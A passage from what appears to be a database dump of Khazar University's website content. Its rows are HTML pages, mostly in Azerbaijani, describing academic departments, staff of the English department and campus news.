üçün\r\nyaradılmışdır. Tanınmış VBİS-ə MySQL, PostgreSQL, MongoDB, Microsoft SQL\r\nServer, Oracle, Sybase, SAP HANA və IBM DB2 daxildir.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/images/15.jpg\" style=\"width:500px;height:273px;margin:7px 7px 7px 0px;float:left\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>İnsan-kompüter qarşılıqlı əlaqəsi.</strong> İnsan-kompüter qarşılıqlı\r\nəlaqəsi (adətən HCL adlandırılır) kompüter texnologiyasının layihələndirilməsi\r\nvə istifadəsini tədqiq edir, insanlar (istifadəçilər) və kompüterlər arasındakı\r\nəlaqə üzərində təmərküzləşir. Bu sahədəki tədqiqatçılar həm insanların\r\nkompüterlərlə qarşılıqlı əlaqə şəklini tədqiq edir, həm də insanların yeni\r\nyollardan istifadə etməklə kompüterlərlə qarşılıqlı əlaqədə olmasına imkan verən\r\ntexnologiyalar layihələndirir.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/q.jpg\" style=\"width:600px;height:305px;vertical-align:baseline\"></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Kompüter görməsi və qrafika.</strong> Kompüter görməsi, fənlərarası\r\nbir elm sahəsi olub rəqəmsal şəkil vəya video vasitəsi ilə yüksək səyiyyəli dərk\r\netməyə malik kompüterlərin hazırlanması ilə məşğuldur. Mühəndislik nöqteyi-nəzərindən&nbsp;bu, insanın görmə sisteminin icra edə biləcəyi\r\ntapşırıqların avtomatlaşdırılmasına cəhd etməkdir.&nbsp;Qrafika, məlumatın ötürülməsi üçün şəkillərin,\r\ndiaqramların yaxud animasiyaların&nbsp;yaradılmasının\r\nhər hansı bir metodudur. İnsanlığın ilk günündən vizual obrazlar vasitəsiylə\r\nvizuallaşdırma mücərrəd və konkret ideyaların ötürülməsi üçün effektli yol\r\nolmuşdur. Misal olaraq mağara rəsmlərini, Misir heroqliflərini, Yunan həndəsəsini\r\nvə Leonardo da Vinçinin mühəndislik və elmi məqsədlərlə çəkdiyi texniki rəsmlərin\r\ninqilabi metodlarını göstərmək olar.</p><p><img src=\"/files/engineering/NewFolder/r.jpg\" style=\"width:600px;height:240px;vertical-align:baseline\"><br></p><p><strong><br></strong></p><p><strong>Ədədi üsullar.</strong> Ədədi üsullar riyazi analiz məsələləri üçün ədədi\r\naproksimasiyanı istifadə edən alqoritmlərin öyrənilməsidir.</p><p><img src=\"/files/engineering/NewFolder/s.jpg\" style=\"width:600px;height:551px;vertical-align:baseline\"><br></p><p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\">Proqramlaşdırma dilləri.</strong><span style=\"text-align:justify\"> Proqramlaşdırma dili təlimatların\r\nmaşına, xüsusən də kompüterə ötürülməsi üçün nəzərdə tutulan formal kompüter\r\ndilidir. Proqramlaşdırma dilləri maşının işinə nəzarət edən yaxud alqoritmləri\r\nifadə edən proqramların yaradılması üçün istifadə edilə bilər.</span></p><p><img src=\"/files/engineering/NewFolder/t.jpg\" style=\"border:0px  #000000;width:500px;height:208px;vertical-align:baseline\"><br></p>\r\n<p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\">Proqram mühəndisliyi.</strong><span style=\"text-align:justify\"> Proqram mühəndisliyi (PM) mühəndisliyin\r\nsistematik metodla layihələndirməyə, işlənib hazırlanmaya, tətbiq etməyə,\r\nsınaqdan keçirməyə və proqramın istismar edilməsinə tətbiqidir.</span></p><p><img src=\"/files/engineering/NewFolder/u.jpg\"><br></p>\r\n<p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\">Bioinformatika.</strong><span style=\"text-align:justify\"> Bioinformatika bioloji verilənləri anlamaq üçün metod və\r\nproqram əlatləri işləyib hazırlayan fənlərarası bir elm sahəsidir. Fənlərarası\r\nbir elm sahəsi kimi bioloji verilənləri təhlil və izah etmək üçün bioinformatika\r\nkompüter elmlərini, statistikanı, riyaziyyatı və mühəndisliyi üzündə birləşdirir.\r\nBioinformatika, riyazi və statistik üsullardan istifadə edərək bioloji\r\nsorğuların “in silico” təhlili üçün istifadə edilir.&nbsp;</span></p><p><img src=\"/files/engineering/NewFolder/v.jpg\"><br></p><p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\">Formal dillər və avtomatika nəzəriyyəsi. </strong><span style=\"text-align:justify\">Formal dillər və avtomatika\r\nnəzəriyyəsi, nəzəri kompüter elmləri və riyaziyyatda bir sahə olub məsələlərin\r\nhesablama modeli əsasında alqoritmdən istifadə edərək səmərəli həlli ilə məşğul\r\nolur. Bu sahə avtomatlar nəzəriyyəsi və dillər, hesablama mümkünlüyü nəzəriyyəsi\r\nvə hesablama mürəkkəbliyi nəzəriyyəsi olmaq üzrə üç əsas qola ayrılır. Bunların\r\nhər biri “kompüterlərin fundamental imkanları və məhdudiyyətlərini nədir?”\r\nsualını araşdırır.</span></p><p><img src=\"/files/engineering/NewFolder/w.jpg\" style=\"width:600px;height:338px\">&nbsp;</p>'),(266,134,'az','Dillər və Mədəniyyətlər','Dillər və Mədəniyyətlər','<p style=\"text-align:center\"><img src=\"/files/languages_depart/Thank-You-in-different-languages-smaller.png\" style=\"border:0px #000000;margin-top:7px;width:500px;height:279px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\">Dillər və mədəniyyətlər departamenti 2015-cil may ayının 1-də Şərq Dilləri və Dini Araşdırmalar departamenti və Müasir Dillər və Müqayisəli Ədəbiyyat departamentinin əsasında yaradılmışdır. Dillər və mədəniyyətlər departmenti dünya dilləri və mədəniyyətlərini öyrənmə imkanı yaradır. Department alman, fransız, ispan, italyan, rus və digər Qərb dilləri o cümlədən çin, koreya, türk, ərəb, fars, ivri və urdu kimi Şərq dillərinin tədrisini həyata keçirir. Department həmçinin Şərq və Qərbin qədim və müasir mədəniyyətlərinin tədris və tədqiqi ilə məşğul olur.  <br></p><p style=\"text-align:justify\">Departamentin əsas hədəfləri aşağıdakılardır:</p><ul><li><p style=\"text-align:justify\">Tələbələrin dörd dil bacarığını (danışıq,dinləmə,oxu, və&nbsp;yazı) təkminləşdirməklə müasir Şərq və Qərb dillərini mənimsəmə qabiliyyətini inkişaf etdirmək</p></li><li><p style=\"text-align:justify\"> İnteqrativ təhsil, tənqidi yanaşma; həmçinin mədəniyyət, din və cəmiyyətlərin analitik araşdırılması vasitəsilə tələbələrin mədəni-tarixi bilikləri və dünyanın mədəni müxtəlifliklərini qavrama qabiliyyətini inkişaf etdimək</p></li><li><p style=\"text-align:justify\">Xarici dillərin tədrisində və mədəniyyətlərin araşdırılmasında yeni təşəbbüslərlə bağlı tədqiqatlar və müxtəlif proqramlar həyata keçirmək.</p></li></ul>'),(5991,3422,'az','Tarix və arxeologiya departamentinin müəlimləri “Millət sizə minnətdardır!” adlı sərginin açılışında iştirak etdilər','2018-ci il sentyabrın 14-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri...','<p>2018-ci il sentyabrın 14-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova, departamentin müəllimləri Səbuhi Əhmədov və Orxan Zamanov AMEA Milli Azərbaycan Tarixi Muzeyində “Millət sizə minnətdardır!” adlı sərginin açılış mərasimində iştirak etdilər.</p><p>Qafqaz İslam Ordusu və Bakının azad edilməsinin 100 illiyinə həsr olunmuş sərgi Milli Azərbaycan Tarixi Muzeyi və Türkiyə Cümhuriyyətinin Azərbaycan Respublikasındakı Səfirliyinin birgə səyləri ilə təşkil olunmuşdu. Açılış mərasimi Muzeyin Şərq zalında keçirildi –&nbsp;əlamətdar haldır ki, 100 il əvvəl bu zalda H.Z.Tağıyev, başda Nuru Paşa olmaqla, Qafqaz İslam Ordusunun komandanlığı şərəfinə ziyafət vermişdi.</p><p>Sərginin açılış mərasimində Milli Azərbaycan Tarixi Muzeyinin direktoru akademik Nailə Vəlixanlı, AMEA-nın İctimai elmlər bölməsinin akademik-katibi akademik Nərgiz Axundova, Türkiyə Cümhuriyyətinin Azərbaycan Respublikasındakı fövqəladə və səlahiyyətli səfiri Erkan Özoral, Azərbaycan Respublikası Prezidenti Katibliyinin rəisi, Prezidentin köməkçisi professor Dilarə Seyidzadə çıxış etdilər. Sərginin kuratoru Səbuhi Əhmədov sərginin mahiyyəti, strukturu və eksponatları haqqında məlumat verdi.</p><p>Çıxışlardan sonra sərgiyə baxış keçirildi.</p><p>Qeyd edək ki, sərgi 2018-ci il dekabrın 14-nə kimi davam edəcək.</p><p>Sərgidə 1918-ci ildə Azərbaycanda baş vermiş hərbi-siyasi hadisələr, o cümlədən, Bakı Sovetinin anti-Azərbaycan siyasəti, azərbaycanlıların soyqırımı, Qafqaz İslam Ordusunun yaradılması və Bakının azad edilməsi ilə nəticələnmiş iyun-sentyabr yürüşü əyani şəkildə nümayiş etdirilir. Sərgidə Muzeyin Silahlar və bayraqlar fondu, Xatirə əşyaları və hədiyyələr fondu, Köməkçi tarixi fənn materialları fondundan 120-dən artıq unikal tarixi eksponat ziyarətçilərə təqdim edilir.</p>'),(267,135,'az','İqtisadiyyat və Menecment','İqtisadiyyat və Menecment','<p>İqtisadiyyat və Menecment kafedrası İqtisadi Nəzəriyyə, Maliyyə və Menecmentin əsas sahələri üzrə beynəlxalq aləmdə tanınmış akademik ekspertlər qrupunu yaratmış və gənc tədqiqatçıları elmi tədqiqat işi aparmaları üçün müvafiq elmi mühit ilə təmin edir. Departamentin müxtəlif layihələrdə elmi yaradıcılıq məhsulları davamlı olaraq milli və beynəlxalq mükafatlara layiq görülür.&nbsp;</p><p>Xüsusilə, İqtisadiyyat və Menecment kafedrası enerji sahələrinin iqtisadiyyatı üzrə elmi araşdırmalarına görə böyük nüfuza malikdir və bu sahədə Azərbaycanda aparıcı tədqiqat institutudur. Departamentin akademik heyətinin menecment sahəsində praktiki və nəzəri tədqiqatları maliyyə risklərinin idarə olunması, strateji idarəetmə və insan kapitalının idarə olunmasında yaranan problemlərin tədqiqini əhatə edir.</p>'),(268,136,'az','Təhsil','Təhsil','<p>Xəzər Universiteti Təhsil departmentinin əsas məqsədlərindən biri müasir təhsil elminin nailiyyətlərini yaxından təqib edən, cəmiyyətin və&nbsp;ölkənin təhsil sistemində ehtiyac duyulan idealist və yüksək səviyyəli bacarıqlara (high-level proficiency) sahib peşəkar müəllimlər və mütəxəssislər yetişdirən, təhsil elminin müxtəlif sahələrində araşdırma və tədqiqatlar aparan, təhsil sahəsində həm ölkə həm də dünya&nbsp; miqyasında ixtisaslaşmış bir departament olmaqdır.</p><p>Müxtəlif ixtisas qruplarında bakalavr pilləsində müəllim hazırlığı aparan departament, eyni zamanda təhsilin idarəedilməsi, təhsil fəlsəfəsi və tarixi, təhsilin əsasları, təhsil proqramları, kurikulum, qiymətləndirmə kimi təhsil elminin müxtəlif sahələrində tədqiqatlar aparan mütəxəssislərə magistr və əlavə təhsil, ixtisasartırma proqramları təklif edir.</p><p><img src=\"/files/edu_depart/edu.jpg\" style=\"width:300px;height:171px;margin:7px;vertical-align:baseline\"><br></p>'),(4909,2868,'en','Dr. Mirsadegh Seyedzavvar\'s article was published in the International Journal','A research paper “Design of high duty diesel engine connecting rod based on finite element analysis” by Dr. Mirsadegh Seyedzavvar...','<p>A research paper “Design of high duty diesel engine connecting rod based on finite element analysis” by Dr. Mirsadegh Seyedzavvar, Coordinator of Mechanical Engineering Department of the of the School of Engineering and Applied Sciences, Khazar University, was published in the “Journal of the Brazilian Society of Mechanical Sciences and Engineering”.</p><p>The link of this paper is as follows:</p><p><a href=\"https://link.springer.com/article/10.1007%2Fs40430-018-0988-9\">https://link.springer.com/article/10.1007%2Fs40430-018-0988-9</a>.</p>'),(4615,2737,'en','EiLink Welcome Day','On December 12, an event entitled \"eiLink Welcome Day\" was held at Khazar University, Marble Hall. The event was dedicated to sharing the recent and emerging scientific...','<p>On December 12, an event entitled \"eiLink Welcome Day\" was held at Khazar University, Marble Hall. The event was dedicated to sharing the recent and emerging scientific projects at eiLink Research &amp; Development Center at Khazar University. The event was attended by the instructors and students of School of Engineering and Applied Sciences and School of Economics and Management. Shahriyar Alkhasli, Izat Shahsanov and Vafa Ahmadzade, the PhD researchers of eiLink, delivered presentations at the event.</p>'),(269,137,'az','İngilis Dili və Ədəbiyyatı','İngilis Dili və Ədəbiyyatı','<p text-align:justify\"=\"\" style=\"text-align: center;\"><strong><img src=\"http://www.khazar.org/files/eng_depart/eng.jpg\" style=\"border:0px  #000000;width:500px;height:328px;vertical-align:baseline\"></strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">İngilis dili və Ədəbiyyatı Departamentinin əsas vəzifəsi İngilis dilini dərindən öyrənməyi və onu cəmiyyətin bugünki tələblərinə əsasən tətbiq etməyi tələbələrə təlqin etməkdir. Departament tələbələrə İngilis dilinin tədrisi, Dilşünaslıq, tərcümə və Ədəbiyyatşünaslı sahələri üzrə təməl və əsaslə biliklər verir. Departament Xəzər Universitetində bütün fakültələrdə fəaliyyət göstərir. Departamentin proqramları tələbələrə İngilis dilində yüksək səviyyəyə qədər dili biliklərini inkişaf etdirməyə kömək edir. Departament bakalavr və magistr dərəcələri üçün proqramlar təmin edir. Bakalavr səviyyəsində tələbələr İngilis dili və ədəbiyyatını əsaslı öyrənməklə yanaşı ingilisdilli ölkələrin mədəniyyəti haqqında da geniş məlumat alırlar. Tələbələr İngilis dili və ədəbiyyatı, tərcümə, İngilis dili müəllimliyi ixtisasları üzrə praktik və nəzəri biliklərə malik olurlar. &nbsp;Bu biliklər onları yüksək səviyyəli İngilis dili tələb olunan gələcək akademik tədris və iş imkanlarına hazırlayır. &nbsp;Departament nəzəri biliklərlə yanaşı tələbələrə geniş təcrübə imkanları da yaradır. Bakalavr dərəcəsini bitirmiş tələbələr əmək bazarında dil bacarıqlarının üstünlüyünə görə seçilirlər.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Magistr dərəcəsi Tərcümə, Ümimi və tətbiqi dilçilik və Ədəbiyyatşünaslıq kimi sahələri əhatə edir. Burada magistrlara tədris olunan fənlər İngilis dilinin yüksək səviyyəsindədir. Bundan əlavə tələbələr tədqiqatın ilkin mərhələləri, tədqiqat işinin yazırlması, akademik yazı bacarıqları kimi biliklərə yiyələnir və öz sahələri üzrə mütəxəssis &nbsp;kimi təhsil alırlar. Magist dərəcəsini bitirmiş tələbələr respublikanın qabaqcıl ali təhsil müəssisələrində əmək fəaliyyətinə başlayırlar.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Son bir ildə Departamentin nəzdində German dilləri üzrə PhD pilləsində tədris aparılır. Burada tələbələr German dilləri üzrə mütəxəssis kimi yetişirlər. Bundan əlavə hər bir tələbyə elmi işin yazılması üçün xarici ölkələrdən cəlb olunmuş mütəxəssislər rəhbərlik edirlər. PhD pilləsini başa vuran tələbələr öndə gedən ali məktəblərdə və xarici ölkələrdə ixtisaslarına uyğun işlə təmin olunmaqda çətinliklə üzləşmirlər.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><br></p><h3 text-align:justify\"=\"\" style=\"text-align: justify;\">Əlaqə:</h3><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\" text-align:justify\"=\"\" style=\"text-align: justify;\"><img src=\"http://www.khazar.org/files/pdf/eynur.jpg\" style=\"width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><p text-align:justify\"=\"\" style=\"text-align: justify;\"><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\"><strong>Eynur Mehdiyev</strong></a>&nbsp;<strong>(MA)</strong></p>  <p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Departamentin müdir müavini</strong></p><p style=\"text-align:justify\">Eynur Mehdiyev bakalavr dərəcəsini Azərbaycan Dillər Universitetində və magistr dərəcəsini Koventri universitetində (Birləşmiş Krallıq) almışdır. Onun 10 ildən çox tələbələrə və böyüklərə İngilis dilini tədris etmə təcrübəsi var. Hal-hazırda Xəzər universitetində İngilis dili və ədəbiyyatı departamentində müdir müavini vəzifəsində çalışır.</p><p style=\"text-align:justify\"><strong>Ofis:&nbsp;&nbsp;</strong>Neftçilər korpusu&nbsp;313 (Köhnə bina)</p><p style=\"text-align:justify\"><strong>Tel:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (281)&nbsp;</p><p style=\"text-align:justify\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a></p>\r\n<hr>\r\n<strong style=\"text-align:justify\"></strong><strong style=\"text-align:justify\"></strong><p text-align:justify\"=\"\" style=\"text-align: justify;\"><img src=\"http://www.khazar.org/files/eng_depart/milana.png\" style=\"border:0px  #000000;width:150px;height:189px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv.pdf\"></a><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\"><strong>Milana Abbasova</strong></a> (PhD namizəd)</strong><strong></strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Proqram\r\nKoordinatoru</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Milana Abbasova həm bakalavr, həm də\r\nmagistr təhsilini Azərbaycan Dillər Universitetində almışdır. O, Xəzər\r\nUniversitetinin dissertantıdır. Milana Abbasova 10 ildən artıqdır ki, Xəzər Universitetində\r\nçalışır və&nbsp;&nbsp;“Qrammatika”, “Dil tarixi”, “Sosiodilçilik” və digər fənləri tədris\r\nedir. O, hal-hazırda İngilis dili və ədəbiyyatı departamentinin&nbsp;proqram koordinatoru vəzifəsini icra edir.</p>  <p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Ofis:</strong>&nbsp; Neftçilər korpusu&nbsp;313 (Köhnə bina)&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Tel:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (230)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mabbasova@khazar.org\">mabbasova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\"><img src=\"/files/eng_depart/kamala_a.jpg\" style=\"width:150px;height:163px;margin:7px;float:left\">Kəmalə Əskərova</a></strong></p><p><strong>Foundations üzrə koordinator </strong> <br></p><p style=\"text-align:justify\">Kəmalə Əskərova 1983-cü ildə Azərbaycan Dövlət Dillər İnstitutundan məzun olmuşdur. O, öz karyerasına 1993-cü ildə Xəzər Universitetinin İngilis Dili və Ədəbiyyatı Fakültəsində ingilis dili müəllimi olaraq başlamış və burada ESL (İngilis dili ikinci dil kimi), Tibb və Hüquq üzrə ESP (xüsusi məqsədlər üçün ingilis dili), Advanced Grammar Qrammatika,Current Events Cari Hadisələr kimi bir sıra kurslara dərs keçmişdir. 1995-ci ildən etibarən o, Xəzər Universitetinin İngilis Dili və Ədəbiyyatı Fakültəsində baş müəllim kimi fəaliyyət göstərmişdir. 1994-cü ildən 1997-ci ilədək Xəzər Universitetində Tibbi Həkimlər üçün ingilis dilini təkmilləşdirmə kurslarında təlimlər keçmişdir. 2009-cu ilin sentyabr ayından 2011-ci ilin iyun ayına qədər isə Zərifə Əliyeva adına Liseyde ingilis dili koordinatoru vəzifəsində işləmişdir. 2011-ci ilin sentyabrında Xəzər Universitetinə qayıdaraq Baş İngilis dili Müəllimi kimi fəaliyyətinə davam etmişdir. 2014-cü&nbsp;ildən bu günə qədər o, Xəzər Universitetində Foundations üzrə Koordinator vəzifəsində işləyir.  <br>\r\n  </p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:kamala.Askerova@khazar.org\">kamala.askerova[at]khazar.org</a></p><p text-align:justify\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><strong>Ofis:&nbsp;</strong>Mərkəz Kampusu&nbsp;</p><p text-align:justify\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><strong>Telefon:</strong>&nbsp;(+994&nbsp;12) 596 27 85  </p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180227-WA0003.jpg\" style=\"border:0px  #000000;width:170px;height:182px;float:left;margin:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/saadat_farhadova_cv.pdf\">Səadət Fərhadova</a></strong><br></p><p><strong>Foundations üzrə koordinator&nbsp;assistenti</strong><br></p><p style=\"text-align:justify\">Səadət Fərhadova Azərbaycan Dillər Universitetinin Dilşünaslıq fakültəsinin məzunudur. Universitetin Bakalavr və Magistratura pillələrini fərqlənmə diplomu ilə bitirmişdir. Oklahoma MMC-də tərcüməçi və sinxron tərcüməçi kimi fəaliyyət göstərmişdir. Sonraki illərdə TCS şirkətində beynəlxalq işçi heyətinə İngilis dili, Business English tədris etmiş; geyri-ana dil daşıyıcıları üçün İngilis dili danışıq kurslarının təşkilatçısı və icraçısı olmuşdur. 2007-ci ildən bəri Xəzər Universitetinin İngilis Dili və Ədəbiyyat Departamentinin Ingilis Dili müəllimi vəzifəsində çalışır. Tədris etdiyi fənlər əsasən English Foundations, Academic English,&nbsp;English for Professional Communication,&nbsp;ALS ve ESP on Economics təşkil edir. 2011-2015-ci illərdə İqtisadiyyat ve Menecment fakültəsində Alt Proqramlar üzrə Koordinator&nbsp;vəzifəsində çalışmışdır. Eyni zamanda, Departamentin bir hissəsi olan “Keyfiyyətin Giymətləndirilməsi Üzrə Komitə”nin üzvü olmuşdur. Bir sıra beynəlxalq konfransların iştirakçısıdır.&nbsp;2009-cu&nbsp;ildə SEPHİS şəbəkə programı üzrə Azərbaycanda təşkil olunmuş və Xəzər Universitetinin ev sahibliyi etdiyi “Gadınlar və İctimai Sfera” adlı konfransda sinxron tərcüməçi kimi fəaliyyət göstərmişdir.</p>  <p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:sfarhadova@khazar.org\">sfarhadova[at]khazar.org</a></p><p text-align:justify\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><strong>Ofis:&nbsp;</strong>Mərkəz Kampusu&nbsp;</p><p text-align:justify\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><strong>Telefon:</strong>&nbsp;(+994&nbsp;12) 596 27 85</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Nurana_Farhadova.pdf\"><img src=\"/files/eng_depart/Nurana_f.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nuranə Fərhadova</a></strong></p><p><strong>Assistent</strong></p><p style=\"text-align:justify\">Təhsilini Qafqaz Universitetinin , Filologiya fakültəsində almışdır.Ərəb və Rus dilləri üzrə, bir sıra Tədris mərkəzlərində müəllim vəzifəsində fəaliyyət göstərib.2014-ci ildən bəri Xəzər Universitetinin, İngilis dili və ədəbiyyatı departamentində fəaliyyət gostərir. Hal-hazırda İsgilis dilində aparılan, danışıq kurslarının koordinatorudur.  </p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:nfarhadova@khazar.org\">nfarhadova[at]khazar.org</a>  </p><p><strong></strong><strong>Ofis:</strong>&nbsp;Neftçilər korpusu&nbsp;313 (Köhnə bina)</p><p><strong>Telefon</strong>: (+994 12) 421 79 16 (230)</p>'),(270,138,'az','Elektronika və Telekommunikasiya','Elektronika və Telekommunikasiya','<br><p><img src=\"/files/radio_depart/IMG_1158-1.jpg\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); width: 197px; height: 209px; margin: 7px; vertical-align: baseline; float: left;\" http:=\"\" www.khazar.org=\"\" files=\"\" pdf=\"\" nuru_safarovcv.pdf\"=\"\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Nuru%20Safarov%20az%20CV.pdf\">Nuru Səfərov</a><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\"></a></strong></p><p><strong>Elektronika və Telekommunikasiya departamentinin müdiri</strong></p><p>PhD, AMEA, Azərbaycan.</p><p>MS, Radiofizika və Elektronika, Dnepropetrovsk Dövlət Universiteti, Ukrayna.</p><p><br></p><p><br></p><p><br></p>\r\n<p>Elektronika və Telekommunikasiya departamenti 2010-cu ildə yaradılmışdır. Tədris tələbələr üçün uyğun ixtisas təhsilini təmin etmək üçün nəzərdə tutulmuşdur. Əsas elmi kursları başa vurduqdan sonra, tələbələrə sırf ixtisas kursları təklif olunur. Praktiki təcrübə dərəcəsi tələb olunur və müvafiq olaraq, tələbələrdən yay təcrübəsi keçmək tələb olunur. Seçmə fənlər tələbələrin spesifik sahələrdə öz biliklərini inkişaf etdirmək üçün imkan yaradır.</p><p>Elektronika, Telekommunikasiya və Radiomühəndislik proqramı aparıcı qabaqcıl texnologiyalar ilə bağlı olaraq bir çox sahələri geniş əhatə edir. Elektronika, telekommunikasiya və radio mühəndisləri elektrik cərəyanından istifadə olunmaqla məlumat ötürülməsi və ya enerji formasını dəyişən cihazlar və sistemlərin dizayn və avadanlıqlarını yaratmaqla məşğuldur. Məzunlarımıza gələcəkdə problemlər üzə çıxdığı zaman problemsiz olaraq yeni texnologiyalara uyğunlaşmaq aşlanacaqdır ki, bu zaman əsas diqqət avadanlıqların iş prinsiplərinə və texnika üzərində cəmlənmişdir. Bu proqram elektronika, telekommunikasiya və radio mühəndislik üzrə siqnal emalı, mikroelektronika, kommunikasiya, idarəetmə sistemləri, radio tezliyi dizaynı, mikroprosessorlar və elektrik enerjisi kimi əsas fənləri əhatə edir və məzunlarımızı geniş biliklərlə təmin edir.&nbsp;Elektronika, telekommunikasiya və radio mühəndisliyi ixtisası riyaziyyat və fizika anlayışlarını, eləcə də elektron texnologiyalarını geniş şəkildə tələb edir. Bu proqramda tələbələr fizika, riyaziyyat və kompüter proqramlaşdırmanın əsas prinsiplərini elektronika və telekommunikasiyada tətbiq edərək dərin biliklər əldə edir. Proqram üzrə tədris aldıqca əsas diqqəti yeni və daha inkişaf etmiş elektron texnologiyaların öyrənilməsi istiqamətində yönəldəcəyik. Bərpa olunan enerji, radarlar və məsafədən idarəetmə, biotibbi mühəndislik, müdafiə sistemləri, informasiya təhlükəsizliyi, və telekommunikasiya kimi getdikcə inkişaf edən sahələrdə müxtəlif formada bu ixtisaslı kadrlara ehtiyac vardır.Departament yüksək ixtisasa malik mütəxəssislər hazırlamaq üçün yeni, müasir laboratoriyalarla təchiz olunmuşdur. Laboratoriyalarda aşağıdakı imkanlar vardır:</p><p><br></p><p>• Rabitənin əsaslarının öyrənilməsi<br>• AM / FM transmitter və qəbuledici sistemləri<br>• Fiber-optik ötürülməsi təlim sistemi<br>• Əsas elektrik dövrələrinin öyrənilməsi<br>• Biotibbi ölçü sistemləri<img src=\"/files/radio_depart/lab-%20nsa.jpg\" style=\"border:0px;width:148px;height:152px;float:right;vertical-align:top;margin:7px\"><br>• Tam sənaye elektron təlim sistemi<br>• Məntiq dizaynının öyrənilməsi<br>• Analoq elektronikanın öyrənilməsi<br>• Rəqəmsal elektronikanın öyrənilməsi<br></p>'),(4780,2843,'az','“Xəzər”in departament müdirinin məqaləsi çap olunub','Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu, dosent Zülfiyyə Sadıqovanın...','<p>Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu, dosent Zülfiyyə Sadıqovanın “Sərdar Fərəcovun fortepiano miniatürləri” adlı məqaləsi “Musiqi dünyası” jurnalının 2017-ci il 3-cü sayında dərc olunmuşdur.</p><p>Məqalədə görkəmli bəstəkarın fortepiano müniatürlərində sənətkarlıq xüsusiyyətləri araşdırılır.</p>'),(271,139,'az','Coğrafiya və Ətraf Mühit','Coğrafiya və Ətraf Mühit','<div><br></div><div><img src=\"/files/image/gegrahhy.jpg\" style=\"width:500px;height:216px;margin:7px;vertical-align:bottom\"><br></div><div><br></div><div><p>Coğrafiya və Ətraf Mühit Departamenti (GEN) coğrafiya sahəsində bakalavr dərəcələri təklif edir. Departamentdəki bütün dərslər müasir standartlara cavab verir. Yüksək kvalifikasiyalı mütəxəssis olmaları üçün bu departament Coğrafiya müəllimliyi&nbsp;ixtisasında təhsil&nbsp;alan tələbələrə lazım olan biliklər verir.&nbsp; GEN&nbsp; həm də iqtisadiyyat, mühəndislik, neft mühəndisliyi ixtisaslarında təhsil alan tələbələrə fənlərarası dərslər təklif edir.</p><p>Tələbələr&nbsp;universiteti bitirdikdən sonra həm orta məktəblərdə müəllim kimi çalışa, həm də müxtəlif təşkilatlarda işləyə bilərlər. &nbsp;Müasir dövrdə yüksək kvalifikasiyalı&nbsp;mütəxəssislərə ehtiyac getdikcə artdığından, departament öz kurrikulum&nbsp;materiallarını müasir standartlarla qurur.</p><p>Eyni zamanda GEN dünyanın aparıcı universitləri ilə əməkdaşlıq edir.</p>  <br></div>'),(272,140,'az','Tarix və Arxeologiya','Tarix və Arxeologiya','<br>\r\n<p 